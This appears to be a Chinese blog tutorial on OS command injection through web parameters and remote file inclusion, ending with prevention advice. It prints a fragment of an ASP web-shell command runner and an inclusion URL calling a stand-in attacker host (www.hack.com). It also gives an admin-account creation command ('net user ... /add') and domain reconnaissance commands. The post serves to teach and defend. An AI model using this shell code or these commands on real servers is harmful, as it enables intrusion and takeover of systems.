OS注入命令分析

关于本章

本章主要描述以下内容:

分析如何通过web的方式下发操作系统的一些常用命令进行攻击

OS注入命令的含义是利用操作系统上的权限分配不够严谨,或者编写网页的程序员的疏忽,造成可以通过web传参的方式调用操作系统的一些基本命令在服务器本地直接写入木马程序或者直接提升权限

对于扫描注入点可以通过向服务器发送请求,根据回应报文中的server请求头或者一些特定服务器返回信息来确定后台服务器使用的操作系统,比如apache+php一般工作在linux系统中,而asp+iis一般工作在windows系统中,下面来看一段asp代码:

Os_injection.asp

<%

              showExecuteTime()

       end sub

       sub pageCmdShell()

              isIn(2)

              dim cmdStr,cmdPath,cmdResult

              cmdStr=request("cmdStr")

              cmdPath=request("cmdPath")

             

              showTitle("Shell操作")

             

              if cmdPath="" then

                     cmdPath="cmd.exe"

              end if

              if cmdStr<>"" then

                     if instr(lcase(cmdPath),lcase("cmd.exe"))>0 or instr(lcase(cmdPath),lcase(myCmdDotExeFile))>0 then

                            cmdResult=doCmdRun(cmdPath&" /c "&cmdStr)

                      else

                           if lcase(cmdPath)=lcase("wscriptShell") then

                                   cmdResult=doCmdRun(cmdStr)

                             else

                                   cmdResult=doCmdRun(cmdPath&" "&cmdStr)

                            end if

                     end if

              end if

             

              echo "<body οnlοad=""document.forms[0].cmdStr.focus();"">"

%>

上面的代码将cmd命令封装在一个URL里通过浏览器传输,如果网页上存在包含漏洞,比如程序员封装了一个函数保存在一个页面当中,当存在多个页面都需要引擎这个函数时,就需要在所有页面里加入嵌套的接口,常用的类似于

if ($_GET[page]) {

include $_GET[page];

} else {

include "home.asp";

如果在网页中包含了这种引入方法,那么可以通过url传递需要的攻击向量形成os命令注入攻击,include file=http://x.x.x.x/index.asp?http://www.hack.com/ Os_injection.asp?cmd=XXX

       cmd命令我们可以接上需要传输的命令,例如dos命令中增加一个管理员的命令

       Cmd=net user lzr lzr /add,常见的操作磁盘的命令有一下这些:

net view   查看计算机列表

ipconfig /all  得到完整的网络信息

net localgroup administrators  查看本机在域中的角色

net user /domain 查看域用户列表

net group "domain admin" /domain 查看域管理员用户

net user xxxx /domain  查看域xxxx管理员状态

net group 域中的全局用户组

net accounts  查看用户账户数据库管理(需要启动Net logon服务)

net session  管理服务器计算机的连接

net file  显示服务器上打开的共享文件名称

net localgroup 管理本地组

一般结合远程文件包含漏洞去注入OS命令起到获取系统webshell

防治的方式

一般是通过过滤url信息,不许再可接受参数的地方输入直接带连接的信息,其次在编写网页的时候尽量在初始化的时候插入需要用到的文件,而不是在框架代码中进行带入,有下面两种方式都可以引入文件:

<!--#include file="conn.asp"-->

是安全的,明确指定只引用的文件名和本地路径

if ($_GET[page]) {

include $_GET[page];

} else {

include "home.asp";

用代码逻辑进行引入,特别是通过get的方式,是危险的方式,容易引起由于远程包含漏洞,然后进行OS命令注入攻击。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值